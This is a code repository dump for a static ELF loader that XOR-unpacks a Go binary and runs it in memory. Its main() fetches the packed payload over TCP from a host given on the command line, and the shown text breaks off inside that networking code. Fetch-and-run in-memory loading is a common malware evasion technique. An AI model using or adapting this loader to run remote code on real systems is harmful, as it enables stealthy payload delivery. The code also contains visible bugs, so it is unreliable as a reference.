court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /runtime-unpack-master/Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | # REMOVE the "-w" flag from CFLAGS if you want to print compiler warnings 3 | CFLAGS=-m32 -static -w 4 | LOADER_CFLAGS=-m32 -g -Wall -Tsrc/linking_script.ld -static -o bin/loader 5 | SAMPLE_SRCS = $(wildcard tests/*.c) 6 | SAMPLE_BINS = $(wildcard bin/samples/tests/*) 7 | 8 | all: loader samples packed-samples 9 | 10 | loader: 11 | echo "\n==========================\nCompiling Loader... \n[outdir: bin/]...\n==========================\n" 12 | $(CC) $(LOADER_CFLAGS) src/loader.c 13 | 14 | samples: 15 | echo "\n==========================\nCompiling Samples... \n[outdir: bin/samples/tests/]\n==========================\n" 16 | rm -rf bin/samples/tests && mkdir bin/samples/tests ; \ 17 | cd bin/samples; \ 18 | for f in $(SAMPLE_SRCS) ; do \ 19 | echo "Compiling $$f"; \ 20 | $(CC) $(CFLAGS) ../../$$f -o $${f%??} ; \ 21 | done 22 | 23 | packed-samples: samples 24 | echo "\n==========================\nPacking Samples... \n[outdir: bin/samples/tests/]\n==========================\n" 25 | for f in $(SAMPLE_BINS) ; do \ 26 | python3 tests/pack.py $$f; \ 27 | done 28 | 29 | clean: 30 | rm -rf bin/samples/tests bin/loader 31 | 32 | 33 | 34 | 35 | 36 | 37 | -------------------------------------------------------------------------------- /runtime-unpack-master/bin/loader: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/merlinxcy/memory_execute_golang_elf/97fc70d9a642719732307fb1d3d1d11bc414bbe5/runtime-unpack-master/bin/loader -------------------------------------------------------------------------------- /runtime-unpack-master/bin/peda-session-loader.txt: -------------------------------------------------------------------------------- 1 | break main 2 | break *0x200a565 3 | 4 | -------------------------------------------------------------------------------- /runtime-unpack-master/bin/samples/tests/blackjack: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/merlinxcy/memory_execute_golang_elf/97fc70d9a642719732307fb1d3d1d11bc414bbe5/runtime-unpack-master/bin/samples/tests/blackjack -------------------------------------------------------------------------------- /runtime-unpack-master/bin/samples/tests/blackjack.packed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/merlinxcy/memory_execute_golang_elf/97fc70d9a642719732307fb1d3d1d11bc414bbe5/runtime-unpack-master/bin/samples/tests/blackjack.packed -------------------------------------------------------------------------------- /runtime-unpack-master/bin/samples/tests/func_pointers: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/merlinxcy/memory_execute_golang_elf/97fc70d9a642719732307fb1d3d1d11bc414bbe5/runtime-unpack-master/bin/samples/tests/func_pointers -------------------------------------------------------------------------------- /runtime-unpack-master/bin/samples/tests/func_pointers.packed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/merlinxcy/memory_execute_golang_elf/97fc70d9a642719732307fb1d3d1d11bc414bbe5/runtime-unpack-master/bin/samples/tests/func_pointers.packed -------------------------------------------------------------------------------- /runtime-unpack-master/bin/samples/tests/helloworld: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/merlinxcy/memory_execute_golang_elf/97fc70d9a642719732307fb1d3d1d11bc414bbe5/runtime-unpack-master/bin/samples/tests/helloworld -------------------------------------------------------------------------------- /runtime-unpack-master/bin/samples/tests/helloworld.packed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/merlinxcy/memory_execute_golang_elf/97fc70d9a642719732307fb1d3d1d11bc414bbe5/runtime-unpack-master/bin/samples/tests/helloworld.packed -------------------------------------------------------------------------------- /runtime-unpack-master/bin/samples/tests/input: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/merlinxcy/memory_execute_golang_elf/97fc70d9a642719732307fb1d3d1d11bc414bbe5/runtime-unpack-master/bin/samples/tests/input -------------------------------------------------------------------------------- /runtime-unpack-master/bin/samples/tests/input.packed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/merlinxcy/memory_execute_golang_elf/97fc70d9a642719732307fb1d3d1d11bc414bbe5/runtime-unpack-master/bin/samples/tests/input.packed -------------------------------------------------------------------------------- /runtime-unpack-master/bin/samples/tests/malloc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/merlinxcy/memory_execute_golang_elf/97fc70d9a642719732307fb1d3d1d11bc414bbe5/runtime-unpack-master/bin/samples/tests/malloc -------------------------------------------------------------------------------- /runtime-unpack-master/bin/samples/tests/malloc.packed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/merlinxcy/memory_execute_golang_elf/97fc70d9a642719732307fb1d3d1d11bc414bbe5/runtime-unpack-master/bin/samples/tests/malloc.packed -------------------------------------------------------------------------------- /runtime-unpack-master/bin/samples/tests/malloc_loops: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/merlinxcy/memory_execute_golang_elf/97fc70d9a642719732307fb1d3d1d11bc414bbe5/runtime-unpack-master/bin/samples/tests/malloc_loops -------------------------------------------------------------------------------- /runtime-unpack-master/bin/samples/tests/malloc_loops.packed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/merlinxcy/memory_execute_golang_elf/97fc70d9a642719732307fb1d3d1d11bc414bbe5/runtime-unpack-master/bin/samples/tests/malloc_loops.packed -------------------------------------------------------------------------------- /runtime-unpack-master/bin/samples/tests/pyramid: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/merlinxcy/memory_execute_golang_elf/97fc70d9a642719732307fb1d3d1d11bc414bbe5/runtime-unpack-master/bin/samples/tests/pyramid -------------------------------------------------------------------------------- /runtime-unpack-master/bin/samples/tests/pyramid.packed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/merlinxcy/memory_execute_golang_elf/97fc70d9a642719732307fb1d3d1d11bc414bbe5/runtime-unpack-master/bin/samples/tests/pyramid.packed -------------------------------------------------------------------------------- /runtime-unpack-master/bin/samples/tests/system: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/merlinxcy/memory_execute_golang_elf/97fc70d9a642719732307fb1d3d1d11bc414bbe5/runtime-unpack-master/bin/samples/tests/system -------------------------------------------------------------------------------- /runtime-unpack-master/bin/samples/tests/system.packed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/merlinxcy/memory_execute_golang_elf/97fc70d9a642719732307fb1d3d1d11bc414bbe5/runtime-unpack-master/bin/samples/tests/system.packed -------------------------------------------------------------------------------- /runtime-unpack-master/peda-session-gost.txt: -------------------------------------------------------------------------------- 1 | break *0x80789e5 2 | 3 | -------------------------------------------------------------------------------- /runtime-unpack-master/peda-session-loader.txt: -------------------------------------------------------------------------------- 1 | break main 2 | break *0x0200aa47 3 | 4 | -------------------------------------------------------------------------------- /runtime-unpack-master/src/linking_script.ld: -------------------------------------------------------------------------------- 1 | /* Script for -z combreloc -z separate-code */ 2 | /* Copyright (C) 2014-2020 Free Software Foundation, Inc. 3 | Copying and distribution of this script, with or without modification, 4 | are permitted in any medium without royalty provided the copyright 5 | notice and this notice are preserved. */ 6 | 7 | OUTPUT_FORMAT("elf32-i386", "elf32-i386", 8 | "elf32-i386") 9 | 10 | OUTPUT_ARCH(i386) 11 | 12 | ENTRY(_start) 13 | 14 | SEARCH_DIR("=/usr/local/lib/i386-linux-gnu"); SEARCH_DIR("=/lib/i386-linux-gnu"); SEARCH_DIR("=/usr/lib/i386-linux-gnu"); SEARCH_DIR("=/usr/lib/i386-linux-gnu32"); SEARCH_DIR("=/usr/local/lib32"); SEARCH_DIR("=/lib32"); SEARCH_DIR("=/usr/lib32"); SEARCH_DIR("=/usr/local/lib"); SEARCH_DIR("=/lib"); SEARCH_DIR("=/usr/lib"); SEARCH_DIR("=/usr/i686-linux-gnu/lib32"); SEARCH_DIR("=/usr/i686-linux-gnu/lib"); 15 | 16 | 17 | SECTIONS 18 | { 19 | PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x02008000)); . = SEGMENT_START("text-segment", 0x02008000) + SIZEOF_HEADERS; 20 | .interp : { *(.interp) } 21 | .note.gnu.build-id : { *(.note.gnu.build-id) } 22 | .hash : { *(.hash) } 23 | .gnu.hash : { *(.gnu.hash) } 24 | .dynsym : { *(.dynsym) } 25 | .dynstr : { *(.dynstr) } 26 | .gnu.version : { *(.gnu.version) } 27 | .gnu.version_d : { *(.gnu.version_d) } 28 | .gnu.version_r : { *(.gnu.version_r) } 29 | .rel.dyn : 30 | { 31 | *(.rel.init) 32 | *(.rel.text .rel.text.* .rel.gnu.linkonce.t.*) 33 | *(.rel.fini) 34 | *(.rel.rodata .rel.rodata.* .rel.gnu.linkonce.r.*) 35 | *(.rel.data.rel.ro .rel.data.rel.ro.* .rel.gnu.linkonce.d.rel.ro.*) 36 | *(.rel.data .rel.data.* .rel.gnu.linkonce.d.*) 37 | *(.rel.tdata .rel.tdata.* .rel.gnu.linkonce.td.*) 38 | *(.rel.tbss .rel.tbss.* .rel.gnu.linkonce.tb.*) 39 | *(.rel.ctors) 40 | *(.rel.dtors) 41 | *(.rel.got) 42 | *(.rel.bss .rel.bss.* .rel.gnu.linkonce.b.*) 43 | *(.rel.ifunc) 44 | } 45 | .rel.plt : 46 | { 47 | *(.rel.plt) 48 | PROVIDE_HIDDEN (__rel_iplt_start = .); 49 | *(.rel.iplt) 50 | PROVIDE_HIDDEN (__rel_iplt_end = .); 51 | } 52 | . = ALIGN(CONSTANT (MAXPAGESIZE)); 53 | .init : 54 | { 55 | KEEP (*(SORT_NONE(.init))) 56 | } 57 | .plt : { *(.plt) *(.iplt) } 58 | .plt.got : { *(.plt.got) } 59 | .plt.sec : { *(.plt.sec) } 60 | .text : 61 | { 62 | *(.text.unlikely .text.*_unlikely .text.unlikely.*) 63 | *(.text.exit .text.exit.*) 64 | *(.text.startup .text.startup.*) 65 | *(.text.hot .text.hot.*) 66 | *(SORT(.text.sorted.*)) 67 | *(.text .stub .text.* .gnu.linkonce.t.*) 68 | /* .gnu.warning sections are handled specially by elf.em. */ 69 | *(.gnu.warning) 70 | } 71 | .fini : 72 | { 73 | KEEP (*(SORT_NONE(.fini))) 74 | } 75 | PROVIDE (__etext = .); 76 | PROVIDE (_etext = .); 77 | PROVIDE (etext = .); 78 | . = ALIGN(CONSTANT (MAXPAGESIZE)); 79 | /* Adjust the address for the rodata segment. We want to adjust up to 80 | the same address within the page on the next page up. */ 81 | . = SEGMENT_START("rodata-segment", ALIGN(CONSTANT (MAXPAGESIZE)) + (. & (CONSTANT (MAXPAGESIZE) - 1))); 82 | .rodata : { *(.rodata .rodata.* .gnu.linkonce.r.*) } 83 | .rodata1 : { *(.rodata1) } 84 | .eh_frame_hdr : { *(.eh_frame_hdr) *(.eh_frame_entry .eh_frame_entry.*) } 85 | .eh_frame : ONLY_IF_RO { KEEP (*(.eh_frame)) *(.eh_frame.*) } 86 | .gcc_except_table : ONLY_IF_RO { *(.gcc_except_table .gcc_except_table.*) } 87 | .gnu_extab : ONLY_IF_RO { *(.gnu_extab*) } 88 | /* These sections are generated by the Sun/Oracle C++ compiler. */ 89 | .exception_ranges : ONLY_IF_RO { *(.exception_ranges*) } 90 | /* Adjust the address for the data segment. We want to adjust up to 91 | the same address within the page on the next page up. */ 92 | . = DATA_SEGMENT_ALIGN (CONSTANT (MAXPAGESIZE), CONSTANT (COMMONPAGESIZE)); 93 | /* Exception handling */ 94 | .eh_frame : ONLY_IF_RW { KEEP (*(.eh_frame)) *(.eh_frame.*) } 95 | .gnu_extab : ONLY_IF_RW { *(.gnu_extab) } 96 | .gcc_except_table : ONLY_IF_RW { *(.gcc_except_table .gcc_except_table.*) } 97 | .exception_ranges : ONLY_IF_RW { *(.exception_ranges*) } 98 | /* Thread Local Storage sections */ 99 | .tdata : 100 | { 101 | PROVIDE_HIDDEN (__tdata_start = .); 102 | *(.tdata .tdata.* .gnu.linkonce.td.*) 103 | } 104 | .tbss : { *(.tbss .tbss.* .gnu.linkonce.tb.*) *(.tcommon) } 105 | .preinit_array : 106 | { 107 | PROVIDE_HIDDEN (__preinit_array_start = .); 108 | KEEP (*(.preinit_array)) 109 | PROVIDE_HIDDEN (__preinit_array_end = .); 110 | } 111 | .init_array : 112 | { 113 | PROVIDE_HIDDEN (__init_array_start = .); 114 | KEEP (*(SORT_BY_INIT_PRIORITY(.init_array.*) SORT_BY_INIT_PRIORITY(.ctors.*))) 115 | KEEP (*(.init_array EXCLUDE_FILE (*crtbegin.o *crtbegin?.o *crtend.o *crtend?.o ) .ctors)) 116 | PROVIDE_HIDDEN (__init_array_end = .); 117 | } 118 | .fini_array : 119 | { 120 | PROVIDE_HIDDEN (__fini_array_start = .); 121 | KEEP (*(SORT_BY_INIT_PRIORITY(.fini_array.*) SORT_BY_INIT_PRIORITY(.dtors.*))) 122 | KEEP (*(.fini_array EXCLUDE_FILE (*crtbegin.o *crtbegin?.o *crtend.o *crtend?.o ) .dtors)) 123 | PROVIDE_HIDDEN (__fini_array_end = .); 124 | } 125 | .ctors : 126 | { 127 | /* gcc uses crtbegin.o to find the start of 128 | the constructors, so we make sure it is 129 | first. Because this is a wildcard, it 130 | doesn't matter if the user does not 131 | actually link against crtbegin.o; the 132 | linker won't look for a file to match a 133 | wildcard. The wildcard also means that it 134 | doesn't matter which directory crtbegin.o 135 | is in. */ 136 | KEEP (*crtbegin.o(.ctors)) 137 | KEEP (*crtbegin?.o(.ctors)) 138 | /* We don't want to include the .ctor section from 139 | the crtend.o file until after the sorted ctors. 140 | The .ctor section from the crtend file contains the 141 | end of ctors marker and it must be last */ 142 | KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .ctors)) 143 | KEEP (*(SORT(.ctors.*))) 144 | KEEP (*(.ctors)) 145 | } 146 | .dtors : 147 | { 148 | KEEP (*crtbegin.o(.dtors)) 149 | KEEP (*crtbegin?.o(.dtors)) 150 | KEEP (*(EXCLUDE_FILE (*crtend.o *crtend?.o ) .dtors)) 151 | KEEP (*(SORT(.dtors.*))) 152 | KEEP (*(.dtors)) 153 | } 154 | .jcr : { KEEP (*(.jcr)) } 155 | .data.rel.ro : { *(.data.rel.ro.local* .gnu.linkonce.d.rel.ro.local.*) *(.data.rel.ro .data.rel.ro.* .gnu.linkonce.d.rel.ro.*) } 156 | .dynamic : { *(.dynamic) } 157 | .got : { *(.got) *(.igot) } 158 | . = DATA_SEGMENT_RELRO_END (SIZEOF (.got.plt) >= 12 ? 12 : 0, .); 159 | .got.plt : { *(.got.plt) *(.igot.plt) } 160 | .data : 161 | { 162 | *(.data .data.* .gnu.linkonce.d.*) 163 | SORT(CONSTRUCTORS) 164 | } 165 | .data1 : { *(.data1) } 166 | _edata = .; PROVIDE (edata = .); 167 | . = .; 168 | __bss_start = .; 169 | .bss : 170 | { 171 | *(.dynbss) 172 | *(.bss .bss.* .gnu.linkonce.b.*) 173 | *(COMMON) 174 | /* Align here to ensure that the .bss section occupies space up to 175 | _end. Align after .bss to ensure correct alignment even if the 176 | .bss section disappears because there are no input sections. 177 | FIXME: Why do we need it? When there is no .bss section, we do not 178 | pad the .data section. */ 179 | . = ALIGN(. != 0 ? 32 / 8 : 1); 180 | } 181 | . = ALIGN(32 / 8); 182 | . = SEGMENT_START("ldata-segment", .); 183 | . = ALIGN(32 / 8); 184 | _end = .; PROVIDE (end = .); 185 | . = DATA_SEGMENT_END (.); 186 | /* Stabs debugging sections. */ 187 | .stab 0 : { *(.stab) } 188 | .stabstr 0 : { *(.stabstr) } 189 | .stab.excl 0 : { *(.stab.excl) } 190 | .stab.exclstr 0 : { *(.stab.exclstr) } 191 | .stab.index 0 : { *(.stab.index) } 192 | .stab.indexstr 0 : { *(.stab.indexstr) } 193 | .comment 0 : { *(.comment) } 194 | .gnu.build.attributes : { *(.gnu.build.attributes .gnu.build.attributes.*) } 195 | /* DWARF debug sections. 196 | Symbols in the DWARF debugging sections are relative to the beginning 197 | of the section so we begin them at 0. */ 198 | /* DWARF 1 */ 199 | .debug 0 : { *(.debug) } 200 | .line 0 : { *(.line) } 201 | /* GNU DWARF 1 extensions */ 202 | .debug_srcinfo 0 : { *(.debug_srcinfo) } 203 | .debug_sfnames 0 : { *(.debug_sfnames) } 204 | /* DWARF 1.1 and DWARF 2 */ 205 | .debug_aranges 0 : { *(.debug_aranges) } 206 | .debug_pubnames 0 : { *(.debug_pubnames) } 207 | /* DWARF 2 */ 208 | .debug_info 0 : { *(.debug_info .gnu.linkonce.wi.*) } 209 | .debug_abbrev 0 : { *(.debug_abbrev) } 210 | .debug_line 0 : { *(.debug_line .debug_line.* .debug_line_end) } 211 | .debug_frame 0 : { *(.debug_frame) } 212 | .debug_str 0 : { *(.debug_str) } 213 | .debug_loc 0 : { *(.debug_loc) } 214 | .debug_macinfo 0 : { *(.debug_macinfo) } 215 | /* SGI/MIPS DWARF 2 extensions */ 216 | .debug_weaknames 0 : { *(.debug_weaknames) } 217 | .debug_funcnames 0 : { *(.debug_funcnames) } 218 | .debug_typenames 0 : { *(.debug_typenames) } 219 | .debug_varnames 0 : { *(.debug_varnames) } 220 | /* DWARF 3 */ 221 | .debug_pubtypes 0 : { *(.debug_pubtypes) } 222 | .debug_ranges 0 : { *(.debug_ranges) } 223 | /* DWARF Extension. */ 224 | .debug_macro 0 : { *(.debug_macro) } 225 | .debug_addr 0 : { *(.debug_addr) } 226 | .gnu.attributes 0 : { KEEP (*(.gnu.attributes)) } 227 | /DISCARD/ : { *(.note.GNU-stack) *(.gnu_debuglink) *(.gnu.lto_*) } 228 | } 229 | 230 | -------------------------------------------------------------------------------- /runtime-unpack-master/src/loader.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include /* getprotobyname */ 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | 16 | #include "loader.h" 17 | 18 | 19 | /* 20 | * Static ELF Loader for x86 Linux 21 | * 22 | */ 23 | 24 | void print_e(char* msg) 25 | { 26 | fputs(msg, stderr); 27 | } 28 | 29 | void unpack(char* elf_start, unsigned int size) 30 | { 31 | printf("[*] Unpacking in memory...\n"); 32 | for(unsigned int i = 0; i <= size; i++) 33 | { 34 | elf_start[i] ^= UNPACK_KEY; 35 | } 36 | } 37 | 38 | unsigned int getfilesize(char* path) 39 | { 40 | FILE* fp = fopen(path, "r"); 41 | if (fp == NULL) { 42 | print_e("[getfilesize] File Not Found!\n"); 43 | exit(0); 44 | } 45 | 46 | fseek(fp, 0L, SEEK_END); 47 | long int res = ftell(fp); 48 | fclose(fp); 49 | 50 | return res; 51 | } 52 | 53 | int is_image_valid(Elf32_Ehdr* hdr) 54 | { 55 | if(hdr->e_ident[EI_MAG0] == ELFMAG0 && // 0x7f 56 | hdr->e_ident[EI_MAG1] == ELFMAG1 && // 'E' 57 | hdr->e_ident[EI_MAG2] == ELFMAG2 && // 'L' 58 | hdr->e_ident[EI_MAG3] == ELFMAG3 && // 'F' 59 | hdr->e_type == ET_EXEC) { 60 | return -1; 61 | } 62 | else { 63 | return 0; 64 | } 65 | 66 | } 67 | 68 | 69 | void* symbol_resolve(char* name, Elf32_Shdr* shdr, char* strings, char* elf_start) 70 | { 71 | Elf32_Sym* syms = (Elf32_Sym*)(elf_start + shdr->sh_offset); 72 | int i; 73 | for(i = 0; i < shdr->sh_size / sizeof(Elf32_Sym); i += 1) { 74 | if (strcmp(name, strings + syms[i].st_name) == 0) { 75 | /* 76 | * In static ELF files, the st_value member is 77 | * not an offset but rather a virtual address itself 78 | * hence, it's not necessary to calculate an RVA. 79 | */ 80 | return (void *)syms[i].st_value; 81 | } 82 | } 83 | return NULL; 84 | } 85 | 86 | void* load_elf_image(char* elf_start, unsigned int size) 87 | { 88 | // declaring local vars 89 | Elf32_Ehdr *hdr = NULL; 90 | Elf32_Phdr *phdr = NULL; 91 | Elf32_Shdr *shdr = NULL; 92 | char *strings = NULL; // string table (offset in file) 93 | char *start = NULL; // start of a segment (offset in file) 94 | char *target_addr = NULL; // base addr of a segment (in virtual memory) 95 | void *entry = NULL; // entry point (in virtual memory) 96 | int i = 0; // counter for program headers 97 | 98 | // unpacking 99 | unpack(elf_start, size); 100 | 101 | // start proccessing 102 | hdr = (Elf32_Ehdr *) elf_start; 103 | printf("[*] Validating ELF...\n"); 104 | 105 | if(!is_image_valid(hdr)) { 106 | print_e("[load_elf_image] invalid ELF image\n"); 107 | return 0; 108 | } 109 | 110 | printf("[*] Loading/mapping segments...\n"); 111 | phdr = (Elf32_Phdr *)(elf_start + hdr->e_phoff); 112 | 113 | for(i=0; i < hdr->e_phnum; ++i) { 114 | if(phdr[i].p_type != PT_LOAD) { 115 | continue; 116 | } 117 | 118 | if(phdr[i].p_filesz > phdr[i].p_memsz) { 119 | print_e("[load_elf_image] p_filesz > p_memsz\n"); 120 | return 0; 121 | } 122 | 123 | if(!phdr[i].p_filesz) { 124 | continue; 125 | } 126 | 127 | start = elf_start + phdr[i].p_offset; 128 | target_addr = (char* )phdr[i].p_vaddr; 129 | 130 | if (LAST_LOADABLE_SEG(phdr, i)) { 131 | phdr[i].p_memsz += 0x1000; // extra-page padding 132 | } 133 | 134 | // allocating memory for the segment 135 | mmap(target_addr, phdr[i].p_memsz, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_PRIVATE, -1, 0); // hotfix patched by BigShaq 136 | 137 | // moving things around *poof* 138 | memmove(target_addr,start,phdr[i].p_filesz); 139 | 140 | // setting permissions 141 | if(!(phdr[i].p_flags & PF_W)) { 142 | mprotect((unsigned char *) target_addr, 143 | phdr[i].p_memsz, 144 | PROT_READ); 145 | } 146 | 147 | if(phdr[i].p_flags & PF_X) { 148 | mprotect((unsigned char *) target_addr, 149 | phdr[i].p_memsz, 150 | PROT_EXEC); 151 | } 152 | } 153 | 154 | printf("[*] Looking for a .symtab section header...\n"); 155 | 156 | shdr = (Elf32_Shdr *)(elf_start + hdr->e_shoff); 157 | 158 | for(i=0; i < hdr->e_shnum; ++i) { 159 | if (shdr[i].sh_type == SHT_SYMTAB) { 160 | printf("[*] SHT_SYMTAB entry was found, looking for main() ...\n"); 161 | 162 | strings = elf_start + shdr[shdr[i].sh_link].sh_offset; 163 | entry = symbol_resolve("_rt0_386_linux", shdr + i, strings, elf_start); 164 | //entry = symbol_resolve("main.main", shdr + i, strings, elf_start); 165 | 166 | printf("[*] main at: %p\n", entry); 167 | break; 168 | } 169 | } 170 | 171 | return entry; 172 | } 173 | 174 | 175 | 176 | struct MemoryStruct { 177 | char *memory; 178 | size_t size; 179 | }; 180 | 181 | char* strrstr(const char* src, const char substr) 182 | { 183 | if(src == NULL) 184 | return NULL; 185 | 186 | 187 | int n = strlen(src); 188 | char *ret = malloc(n); 189 | int i; 190 | for(i = 0;i < n; i++){ 191 | if(src[i] == substr){ 192 | break; 193 | } 194 | ret[i] = src[i]; 195 | 196 | } 197 | return ret; 198 | 199 | 200 | } 201 | 202 | int main(int argc, char** argv, char** envp) 203 | { 204 | int (*ptr)(char **, int, int,int,int,int); 205 | int result; 206 | 207 | // a.b.com.cn/gost.pack 208 | 209 | 210 | 211 | int a,aa=0; 212 | 213 | char *uri=strpbrk(argv[1],"/"); 214 | // if *uri == NULL{ 215 | // printf("input uri error"); 216 | // } 217 | printf("uri: %s\n",uri); 218 | char *hosts = strrstr(argv[1], '/'); 219 | printf("host: %s\n",hosts); 220 | char *temp1 = strchr(argv[1], ':'); 221 | char *temp2 = strchr(argv[1], '/'); 222 | char string_int[5]; 223 | if (temp1 != NULL && temp2 != NULL){ 224 | for(a=temp1-argv[1]+1;a= MAX_REQUEST_LEN) { 258 | fprintf(stderr, "request length large: %d\n", request_len); 259 | exit(EXIT_FAILURE); 260 | } 261 | 262 | /* Build the socket. */ 263 | protoent = getprotobyname("tcp"); 264 | if (protoent == NULL) { 265 | perror("getprotobyname"); 266 | exit(EXIT_FAILURE); 267 | } 268 | socket_file_descriptor = socket(AF_INET, SOCK_STREAM, protoent->p_proto); 269 | if (socket_file_descriptor == -1) { 270 | perror("socket"); 271 | exit(EXIT_FAILURE); 272 | } 273 | 274 | /* Build the address. */ 275 | hostent = gethostbyname(hostname); 276 | if (hostent == NULL) { 277 | fprintf(stderr, "error: gethostbyname(\"%s\")\n", hostname); 278 | exit(EXIT_FAILURE); 279 | } 280 | in_addr = inet_addr(inet_ntoa(*(struct 